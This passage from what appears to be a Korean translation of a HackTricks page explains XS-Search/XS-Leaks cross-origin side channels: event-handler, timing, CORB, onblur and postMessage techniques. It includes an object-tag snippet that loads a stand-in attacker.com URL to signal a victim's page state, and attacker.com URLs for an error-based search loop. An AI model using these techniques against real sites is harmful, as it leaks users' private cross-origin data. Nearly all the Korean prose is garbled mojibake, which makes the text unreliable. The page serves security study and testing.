XS-Search/XS-Leaks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
XS-Search๋ ์ฌ์ด๋ ์ฑ๋ ์ทจ์ฝ์ ์ ํ์ฉํ์ฌ ๊ต์ฐจ ์ถ์ฒ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐฉ๋ฒ์ ๋๋ค.
์ด ๊ณต๊ฒฉ์ ๊ด๋ จ๋ ์ฃผ์ ๊ตฌ์ฑ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ทจ์ฝํ ์น: ์ ๋ณด๊ฐ ์ถ์ถ๋ ๋์ ์น์ฌ์ดํธ.
- ๊ณต๊ฒฉ์์ ์น: ํผํด์๊ฐ ๋ฐฉ๋ฌธํ๋ ๊ณต๊ฒฉ์๊ฐ ๋ง๋ ์ ์ฑ ์น์ฌ์ดํธ๋ก, ์ต์คํ๋ก์์ ํธ์คํ ํฉ๋๋ค.
- ํฌํจ ๋ฐฉ๋ฒ: ์ทจ์ฝํ ์น์ ๊ณต๊ฒฉ์์ ์น์ ํตํฉํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๊ธฐ์ (์: window.open, iframe, fetch, href๊ฐ ์๋ HTML ํ๊ทธ ๋ฑ).
- ์ ์ถ ๊ธฐ์ : ํฌํจ ๋ฐฉ๋ฒ์ ํตํด ์์ง๋ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก ์ทจ์ฝํ ์น์ ์ํ ์ฐจ์ด๋ฅผ ์๋ณํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๊ธฐ์ .
- ์ํ: ๊ณต๊ฒฉ์๊ฐ ๊ตฌ๋ณํ๊ณ ์ ํ๋ ์ทจ์ฝํ ์น์ ๋ ๊ฐ์ง ์ ์ฌ์ ์กฐ๊ฑด.
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ๊ณต๊ฒฉ์๊ฐ ์ทจ์ฝํ ์น์ ์ํ๋ฅผ ์ถ๋ก ํ๋ ๋ฐ ์์กดํ๋ ๊ด์ฐฐ ๊ฐ๋ฅํ ๋ณ๋.
๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด
์ทจ์ฝํ ์น์ ์ํ๋ฅผ ๊ตฌ๋ณํ๊ธฐ ์ํด ๋ถ์ํ ์ ์๋ ์ฌ๋ฌ ์ธก๋ฉด์ด ์์ต๋๋ค:
- ์ํ ์ฝ๋: ์๋ฒ ์ค๋ฅ, ํด๋ผ์ด์ธํธ ์ค๋ฅ ๋๋ ์ธ์ฆ ์ค๋ฅ์ ๊ฐ์ ๋ค์ํ HTTP ์๋ต ์ํ ์ฝ๋๋ฅผ ๊ต์ฐจ ์ถ์ฒ์์ ๊ตฌ๋ณํฉ๋๋ค.
- API ์ฌ์ฉ: ํน์ JavaScript ์น API๋ฅผ ์ฌ์ฉํ๋ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง๋ฅผ ๋๋ฌ๋ด๋ ์น API ์ฌ์ฉ ์๋ณ.
- ๋ฆฌ๋๋ ์ : HTTP ๋ฆฌ๋๋ ์ ๋ฟ๋ง ์๋๋ผ JavaScript ๋๋ HTML์ ์ํด ํธ๋ฆฌ๊ฑฐ๋ ๋ค๋ฅธ ํ์ด์ง๋ก์ ํ์ ๊ฐ์ง.
- ํ์ด์ง ๋ด์ฉ: HTTP ์๋ต ๋ณธ๋ฌธ ๋๋ ํ์ด์ง ํ์ ๋ฆฌ์์ค์์์ ๋ณ๋ ๊ด์ฐฐ, ์๋ฅผ ๋ค์ด ์๋ฒ ๋๋ ํ๋ ์์ ์ ๋๋ ์ด๋ฏธ์ง ํฌ๊ธฐ ์ฐจ์ด.
- HTTP ํค๋: ํน์ HTTP ์๋ต ํค๋์ ์กด์ฌ ๋๋ ๊ฐ ์ฃผ๋ชฉ, X-Frame-Options, Content-Disposition ๋ฐ Cross-Origin-Resource-Policy์ ๊ฐ์ ํค๋ ํฌํจ.
- ํ์ด๋ฐ: ๋ ์ํ ๊ฐ์ ์ผ๊ด๋ ์๊ฐ ์ฐจ์ด ๊ฐ์ง.
ํฌํจ ๋ฐฉ๋ฒ
- HTML ์์: HTML์ ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ํฌํจ์ ์ํ ๋ค์ํ ์์๋ฅผ ์ ๊ณตํ๋ฉฐ, ์คํ์ผ์ํธ, ์ด๋ฏธ์ง ๋๋ ์คํฌ๋ฆฝํธ์ ๊ฐ์ ๋นHTML ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๋๋ก ๋ธ๋ผ์ฐ์ ๋ฅผ ๊ฐ์ ํฉ๋๋ค. ์ด ๋ชฉ์ ์ ์ํ ์ ์ฌ์ HTML ์์์ ๋ชฉ๋ก์ https://github.com/cure53/HTTPLeaks์์ ํ์ธํ ์ ์์ต๋๋ค.
- ํ๋ ์: iframe, object, embed์ ๊ฐ์ ์์๋ ๊ณต๊ฒฉ์์ ํ์ด์ง์ HTML ๋ฆฌ์์ค๋ฅผ ์ง์ ํฌํจํ ์ ์์ต๋๋ค. ํ์ด์ง๊ฐ ํ๋ ์ ๋ณดํธ๊ฐ ๋ถ์กฑํ ๊ฒฝ์ฐ, JavaScript๋ contentWindow ์์ฑ์ ํตํด ํ๋ ์๋ ๋ฆฌ์์ค์ ์ฐฝ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- ํ์
:
window.open๋ฉ์๋๋ ์ ํญ์ด๋ ์ฐฝ์์ ๋ฆฌ์์ค๋ฅผ ์ด์ด JavaScript๊ฐ SOP์ ๋ฐ๋ผ ๋ฉ์๋ ๋ฐ ์์ฑ๊ณผ ์ํธ์์ฉํ ์ ์๋ ์ฐฝ ํธ๋ค์ ์ ๊ณตํฉ๋๋ค. ํ์ ์ ์ข ์ข ๋จ์ผ ๋ก๊ทธ์ธ์์ ์ฌ์ฉ๋๋ฉฐ, ๋์ ๋ฆฌ์์ค์ ํ๋ ์ ๋ฐ ์ฟ ํค ์ ํ์ ์ฐํํฉ๋๋ค. ๊ทธ๋ฌ๋ ํ๋ ๋ธ๋ผ์ฐ์ ๋ ํน์ ์ฌ์ฉ์ ์์ ์๋ง ํ์ ์์ฑ์ ์ ํํฉ๋๋ค. - JavaScript ์์ฒญ: JavaScript๋ XMLHttpRequests ๋๋ Fetch API๋ฅผ ์ฌ์ฉํ์ฌ ๋์ ๋ฆฌ์์ค์ ์ง์ ์์ฒญํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ฐฉ๋ฒ์ HTTP ๋ฆฌ๋๋ ์ ์ ๋ฐ๋ฅด๋๋ก ์ ํํ๋ ๋ฑ ์์ฒญ์ ๋ํ ์ ๋ฐํ ์ ์ด๋ฅผ ์ ๊ณตํฉ๋๋ค.
์ ์ถ ๊ธฐ์
- ์ด๋ฒคํธ ํธ๋ค๋ฌ: ๋ฆฌ์์ค ๋ก๋ฉ ์ฑ๊ณต ๋๋ ์คํจ์ ๋ํ ํต์ฐฐ๋ ฅ์ ์ ๊ณตํ๋ onload ๋ฐ onerror์ ๊ฐ์ ์ด๋ฒคํธ ํธ๋ค๋ฌ์์์ ๊ณ ์ ์ ์ธ ์ ์ถ ๊ธฐ์ .
- ์ค๋ฅ ๋ฉ์์ง: JavaScript ์์ธ ๋๋ ํน์ ์ค๋ฅ ํ์ด์ง๋ ์ค๋ฅ ๋ฉ์์ง์ ์กด์ฌ ์ฌ๋ถ์ ๋ฐ๋ผ ์ ์ถ ์ ๋ณด๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค.
- ์ ์ญ ํ๊ณ: ๋ฉ๋ชจ๋ฆฌ ์ฉ๋ ๋๋ ๊ธฐํ ๊ฐ์ ๋ธ๋ผ์ฐ์ ํ๊ณ์ ๊ฐ์ ๋ธ๋ผ์ฐ์ ์ ๋ฌผ๋ฆฌ์ ์ ํ์ ์๊ณ๊ฐ์ ๋๋ฌํ์ ๋ ์ ํธ๋ฅผ ๋ณด๋ผ ์ ์์ผ๋ฉฐ, ์ด๋ ์ ์ถ ๊ธฐ์ ๋ก ์์ฉํฉ๋๋ค.
- ์ ์ญ ์ํ: ๋ธ๋ผ์ฐ์ ์ ์ ์ญ ์ํ(์: History ์ธํฐํ์ด์ค)์์ ๊ฐ์ง ๊ฐ๋ฅํ ์ํธ์์ฉ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ธ๋ผ์ฐ์ ์ ๊ธฐ๋ก์ ์๋ ํญ๋ชฉ ์๋ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง์ ๋ํ ๋จ์๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค.
- ์ฑ๋ฅ API: ์ด API๋ ํ์ฌ ํ์ด์ง์ ์ฑ๋ฅ ์ธ๋ถ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ฉฐ, ๋ฌธ์ ๋ฐ ๋ก๋๋ ๋ฆฌ์์ค์ ๋ํ ๋คํธ์ํฌ ํ์ด๋ฐ์ ํฌํจํ์ฌ ์์ฒญ๋ ๋ฆฌ์์ค์ ๋ํ ์ถ๋ก ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- ์ฝ๊ธฐ ๊ฐ๋ฅํ ์์ฑ: ์ผ๋ถ HTML ์์ฑ์ ๊ต์ฐจ ์ถ์ฒ์์ ์ฝ์ ์ ์์ผ๋ฉฐ ์ ์ถ ๊ธฐ์ ๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด,
window.frame.length์์ฑ์ JavaScript๊ฐ ๊ต์ฐจ ์ถ์ฒ ์นํ์ด์ง์ ํฌํจ๋ ํ๋ ์ ์๋ฅผ ๊ณ์ฐํ ์ ์๊ฒ ํฉ๋๋ค.
XSinator ๋๊ตฌ ๋ฐ ๋ ผ๋ฌธ
XSinator๋ ์ฌ๋ฌ ์๋ ค์ง XS-Leaks์ ๋ํด ๋ธ๋ผ์ฐ์ ๋ฅผ ๊ฒ์ฌํ๋ ์๋ ๋๊ตฌ๋ก, ๊ทธ ๋ ผ๋ฌธ์์ ์ค๋ช ๋ฉ๋๋ค: https://xsinator.com/paper.pdf
๋๊ตฌ์ ์ ๊ทผํ ์ ์๋ ๋งํฌ: https://xsinator.com/
Warning
์ ์ธ๋ XS-Leaks: XSinator์ ๋ค๋ฅธ ์ ์ถ๊ณผ ๊ฐ์ญํ ์ ์๋ ์๋น์ค ์์ปค์ ์์กดํ๋ XS-Leaks๋ ์ ์ธํด์ผ ํ์ต๋๋ค. ๋ํ, ํน์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ชป๋ ๊ตฌ์ฑ ๋ฐ ๋ฒ๊ทธ์ ์์กดํ๋ XS-Leaks๋ ์ ์ธํ๊ธฐ๋ก ์ ํํ์ต๋๋ค. ์๋ฅผ ๋ค์ด, Cross-Origin Resource Sharing (CORS) ์๋ชป๋ ๊ตฌ์ฑ, postMessage ์ ์ถ ๋๋ Cross-Site Scripting. ๋ํ, ๋๋ฆฌ๊ณ ์๋๋ฝ๊ณ ๋ถ์ ํํ ๊ฒฝ์ฐ๊ฐ ๋ง๊ธฐ ๋๋ฌธ์ ์๊ฐ ๊ธฐ๋ฐ XS-Leaks๋ ์ ์ธํ์ต๋๋ค.
ํ์ด๋ฐ ๊ธฐ๋ฐ ๊ธฐ์
๋ค์ ๊ธฐ์ ์ค ์ผ๋ถ๋ ์น ํ์ด์ง์ ๊ฐ๋ฅํ ์ํ์์ ์ฐจ์ด๋ฅผ ๊ฐ์งํ๋ ๊ณผ์ ์ ์ผํ์ผ๋ก ํ์ด๋ฐ์ ์ฌ์ฉํ ๊ฒ์ ๋๋ค. ์น ๋ธ๋ผ์ฐ์ ์์ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๊ฐ ์์ต๋๋ค.
์๊ณ: performance.now() API๋ ๊ฐ๋ฐ์๊ฐ ๊ณ ํด์๋ ํ์ด๋ฐ ์ธก์ ์ ์ป์ ์ ์๊ฒ ํฉ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์๋ฌต์ ์ธ ์๊ณ๋ฅผ ๋ง๋ค๊ธฐ ์ํด ๋จ์ฉํ ์ ์๋ API์ ์๊ฐ ์๋นํ ๋ง์ต๋๋ค: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS ์ ๋๋ฉ์ด์
๋ฑ.
์์ธํ ์ ๋ณด๋: https://xsleaks.dev/docs/attacks/timing-attacks/clocks์์ ํ์ธํ ์ ์์ต๋๋ค.
์ด๋ฒคํธ ํธ๋ค๋ฌ ๊ธฐ์
Onload/Onerror
- ํฌํจ ๋ฐฉ๋ฒ: ํ๋ ์, HTML ์์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋
- ์์ธํ ์ ๋ณด: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- ์์ฝ: ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋ ค๊ณ ํ ๋ onerror/onload ์ด๋ฒคํธ๊ฐ ๋ฆฌ์์ค๊ฐ ์ฑ๊ณต์ ์ผ๋ก/์คํจ์ ์ผ๋ก ๋ก๋๋๋ฉด ํธ๋ฆฌ๊ฑฐ๋๋ฉฐ ์ํ ์ฝ๋๋ฅผ ํ์ ํ ์ ์์ต๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
์ฝ๋ ์์ ๋ JS์์ ์คํฌ๋ฆฝํธ ๊ฐ์ฒด๋ฅผ ๋ก๋ํ๋ ค๊ณ ์๋ํ์ง๋ง, ๋ค๋ฅธ ํ๊ทธ์ธ ๊ฐ์ฒด, ์คํ์ผ์ํธ, ์ด๋ฏธ์ง, ์ค๋์ค๋ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ํ, ํ๊ทธ๋ฅผ ์ง์ ์ฃผ์
ํ๊ณ ํ๊ทธ ๋ด๋ถ์ onload ๋ฐ onerror ์ด๋ฒคํธ๋ฅผ ์ ์ธํ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค(๋์ JS์์ ์ฃผ์
ํ๋ ๋์ ).
์ด ๊ณต๊ฒฉ์ ์คํฌ๋ฆฝํธ ์๋ ๋ฒ์ ๋ ์์ต๋๋ค:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
์ด ๊ฒฝ์ฐ example.com/404๊ฐ ๋ฐ๊ฒฌ๋์ง ์์ผ๋ฉด attacker.com/?error๊ฐ ๋ก๋๋ฉ๋๋ค.
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ , ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: performance.now() API๋ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ PerformanceLongTaskTiming API์ ๊ฐ์ ๋ค๋ฅธ ์๊ณ๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ด๋ 50ms ์ด์ ์คํ๋๋ ์์ ์ ์๋ณํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ๋ ๋ค๋ฅธ ์๋:
Onload Timing + Forced Heavy Task
์ด ๊ธฐ์ ์ ์ด์ ๊ธฐ์ ๊ณผ ์ ์ฌํ์ง๋ง, attacker๋ ๊ธ์ ์ ๋๋ ๋ถ์ ์ ์๋ต์ด ์์ ๋ ์๋นํ ์๊ฐ์ด ๊ฑธ๋ฆฌ๋๋ก ๊ฐ์ ํ๋ ์์ ์ ์ํํ๊ณ ๊ทธ ์๊ฐ์ ์ธก์ ํฉ๋๋ค.
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ , ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: SharedArrayBuffer clock๋ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ์๊ณ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ unload ๋ฐ beforeunload ์ด๋ฒคํธ๋ฅผ ํ์ฉํ์ฌ ์ธก์ ํ ์ ์์ต๋๋ค. beforeunload ์ด๋ฒคํธ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ํ์ด์ง๋ก ์ด๋ํ๊ธฐ ์ง์ ์ ๋ฐ์ํ๋ฉฐ, unload ์ด๋ฒคํธ๋ ์ค์ ๋ก ํ์์ด ์ด๋ฃจ์ด์ง ๋ ๋ฐ์ํฉ๋๋ค. ์ด ๋ ์ด๋ฒคํธ ๊ฐ์ ์๊ฐ ์ฐจ์ด๋ฅผ ๊ณ์ฐํ์ฌ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ์์๋ ์๊ฐ์ ๊ฒฐ์ ํ ์ ์์ต๋๋ค.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ , ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: performance.now() API๋ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ์๊ณ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections์ด ์๋ ๊ฒฝ์ฐ, ํ์ด์ง์ ๊ทธ ํ์ ๋ฆฌ์์ค๊ฐ ๋คํธ์ํฌ๋ฅผ ํตํด ๋ก๋๋๋ ๋ฐ ํ์ํ ์๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ์ธก์ ํ ์ ์๋ ๊ฒ์ผ๋ก ๊ด์ฐฐ๋์์ต๋๋ค. ์ด ์ธก์ ์ ์ผ๋ฐ์ ์ผ๋ก iframe์ onload ํธ๋ค๋ฌ๊ฐ ๋ฆฌ์์ค ๋ก๋ฉ ๋ฐ JavaScript ์คํ์ด ์๋ฃ๋ ํ์๋ง ํธ๋ฆฌ๊ฑฐ๋๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํฉ๋๋ค. ์คํฌ๋ฆฝํธ ์คํ์ผ๋ก ์ธํด ๋ฐ์ํ๋ ๋ณ๋์ฑ์ ์ฐํํ๊ธฐ ์ํด, ๊ณต๊ฒฉ์๋ <iframe> ๋ด์์ sandbox ์์ฑ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ์์ฑ์ ํฌํจํ๋ฉด JavaScript ์คํ๊ณผ ๊ฐ์ ์ฌ๋ฌ ๊ธฐ๋ฅ์ด ์ ํ๋์ด ๋คํธ์ํฌ ์ฑ๋ฅ์ ์ฃผ๋ก ์ํฅ์ ๋ฐ๋ ์ธก์ ์ ์ฉ์ดํ๊ฒ ํฉ๋๋ค.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: ํ์ด์ง์ ์ฌ๋ฐ๋ฅธ ์ฝํ ์ธ ์ ์ ๊ทผํ ๋ ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ฒ ํ๊ณ , ์ด๋ค ์ฝํ ์ธ ์ ์ ๊ทผํ ๋๋ ์ฌ๋ฐ๋ฅด๊ฒ ๋ก๋๋๊ฒ ํ ์ ์๋ค๋ฉด, ์๊ฐ์ ์ธก์ ํ์ง ์๊ณ ๋ชจ๋ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฃจํ๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
- Code Example:
๋น๋ฐ ์ฝํ ์ธ ๊ฐ ํฌํจ๋ ํ์ด์ง๋ฅผ Iframe ์์ ์ฝ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค.
ํผํด์๊ฐ โflagโ๊ฐ ํฌํจ๋ ํ์ผ์ Iframe์ ์ฌ์ฉํ์ฌ ๊ฒ์ํ๋๋ก ์ ๋ํ ์ ์์ต๋๋ค(์๋ฅผ ๋ค์ด CSRF๋ฅผ ์ ์ฉ). Iframe ์์์๋ _onload event_๊ฐ ํญ์ ์ต์ํ ํ ๋ฒ์ ์คํ๋ ๊ฒ์ด๋ผ๋ ๊ฒ์ ์๊ณ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์, URL์ iframe์ ๋ณ๊ฒฝํ ์ ์์ง๋ง URL์ hash ๋ด์ฉ๋ง ๋ณ๊ฒฝํฉ๋๋ค.
์๋ฅผ ๋ค์ด:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
์ฒซ ๋ฒ์งธ URL์ด ์ฑ๊ณต์ ์ผ๋ก ๋ก๋๋์๋ค๋ฉด, URL์ hash ๋ถ๋ถ์ ๋ณ๊ฒฝํ ๋ onload ์ด๋ฒคํธ๋ ๋ค์ ํธ๋ฆฌ๊ฑฐ๋์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํ์ด์ง๊ฐ ๋ก๋ํ ๋ ์ด๋ค ์ข ๋ฅ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค๋ฉด, onload ์ด๋ฒคํธ๋ ๋ค์ ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค.
๊ทธ๋ฐ ๋ค์, ์ ์์ ์ผ๋ก ๋ก๋๋ ํ์ด์ง์ ์ ๊ทผํ ๋ ์ค๋ฅ๊ฐ ์๋ ํ์ด์ง๋ฅผ ๊ตฌ๋ณํ ์ ์์ต๋๋ค.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: ํ์ด์ง๊ฐ ๋ฏผ๊ฐํ ์ฝํ
์ธ ๋ฅผ ๋ฐํํ๊ฑฐ๋ ์ฌ์ฉ์๊ฐ ์ ์ดํ ์ ์๋ ์ฝํ
์ธ ๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ, ์ฌ์ฉ์๋ ๋ถ์ ์ ์ธ ๊ฒฝ์ฐ์ ์ ํจํ JS ์ฝ๋๋ฅผ ์ค์ ํ ์ ์์ผ๋ฉฐ, ๊ฐ ์๋๋ง๋ค
<script>ํ๊ทธ ์์ ๋ก๋ํ์ฌ ๋ถ์ ์ ์ธ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์์ ์ฝ๋๊ฐ ์คํ๋๊ณ , ๊ธ์ ์ ์ธ ๊ฒฝ์ฐ์๋ ์๋ฌด๊ฒ๋ ์คํ๋์ง ์์ต๋๋ค. - Code Example:
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: **Cross-Origin Read Blocking (CORB)**๋ Spectre์ ๊ฐ์ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋ณดํธํ๊ธฐ ์ํด ํน์ ๋ฏผ๊ฐํ ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค์ ๋ก๋๋ฅผ ๋ฐฉ์งํ๋ ๋ณด์ ์กฐ์น์
๋๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๋ ๊ทธ ๋ณดํธ ๋์์ ์
์ฉํ ์ ์์ต๋๋ค. CORB์ ์ ์ฉ์ ๋ฐ๋ ์๋ต์ด
nosniff์2xx์ํ ์ฝ๋๊ฐ ์๋ CORB ๋ณดํธContent-Type์ ๋ฐํํ๋ฉด, CORB๋ ์๋ต์ ๋ณธ๋ฌธ๊ณผ ํค๋๋ฅผ ์ ๊ฑฐํฉ๋๋ค. ์ด๋ฅผ ๊ด์ฐฐํ๋ ๊ณต๊ฒฉ์๋ ์ํ ์ฝ๋(์ฑ๊ณต ๋๋ ์ค๋ฅ๋ฅผ ๋ํ๋)์Content-Type(CORB์ ์ํด ๋ณดํธ๋๋์ง ์ฌ๋ถ๋ฅผ ๋ํ๋)์ ์กฐํฉ์ ์ถ๋ก ํ ์ ์์ด ์ ๋ณด ์ ์ถ์ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค. - Code Example:
๊ณต๊ฒฉ์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๋ ๋ง์ ์ ๋ณด ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: id ๋๋ name ์์ฑ์์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํฉ๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
iframe ์์ ํ์ด์ง๋ฅผ ๋ก๋ํ๊ณ **#id_value**๋ฅผ ์ฌ์ฉํ์ฌ ํ์ด์ง๊ฐ ์ง์ ๋ iframe์ ์์์ ํฌ์ปค์ค๋ฅผ ๋ง์ถ๊ฒ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ onblur ์ ํธ๊ฐ ํธ๋ฆฌ๊ฑฐ๋๋ฉด ID ์์๊ฐ ์กด์ฌํฉ๋๋ค.portal ํ๊ทธ๋ก ๋์ผํ ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: postMessage์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์์งํ๊ฑฐ๋ postMessages์ ์กด์ฌ๋ฅผ ์ค๋ผํด๋ก ์ฌ์ฉํ์ฌ ํ์ด์ง์์ ์ฌ์ฉ์์ ์ํ๋ฅผ ์ ์ ์์ต๋๋ค.
- Code Example:
๋ชจ๋ postMessages๋ฅผ ์์ ํ๋ ์ฝ๋.
์์ฉ ํ๋ก๊ทธ๋จ์ ์ข
์ข
postMessage broadcasts๋ฅผ ์ฌ์ฉํ์ฌ ์๋ก ๋ค๋ฅธ ์ถ์ฒ ๊ฐ์ ํต์ ํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ฐฉ๋ฒ์ targetOrigin ๋งค๊ฐ๋ณ์๊ฐ ์ ๋๋ก ์ง์ ๋์ง ์์ผ๋ฉด ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ฐ์ฐํ ๋
ธ์ถํ ์ ์์ต๋๋ค. ๋ํ ๋ฉ์์ง๋ฅผ ์์ ํ๋ ํ์ ์์ฒด๊ฐ ์ค๋ผํด ์ญํ ์ ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํน์ ๋ฉ์์ง๋ ๋ก๊ทธ์ธํ ์ฌ์ฉ์์๊ฒ๋ง ์ ์ก๋ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด๋ฌํ ๋ฉ์์ง์ ์กด์ฌ ๋๋ ๋ถ์ฌ๋ ์ฌ์ฉ์์ ์ํ๋ ์ ์์ ๋ํ ์ ๋ณด๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค.
Global Limits Techniques
WebSocket API
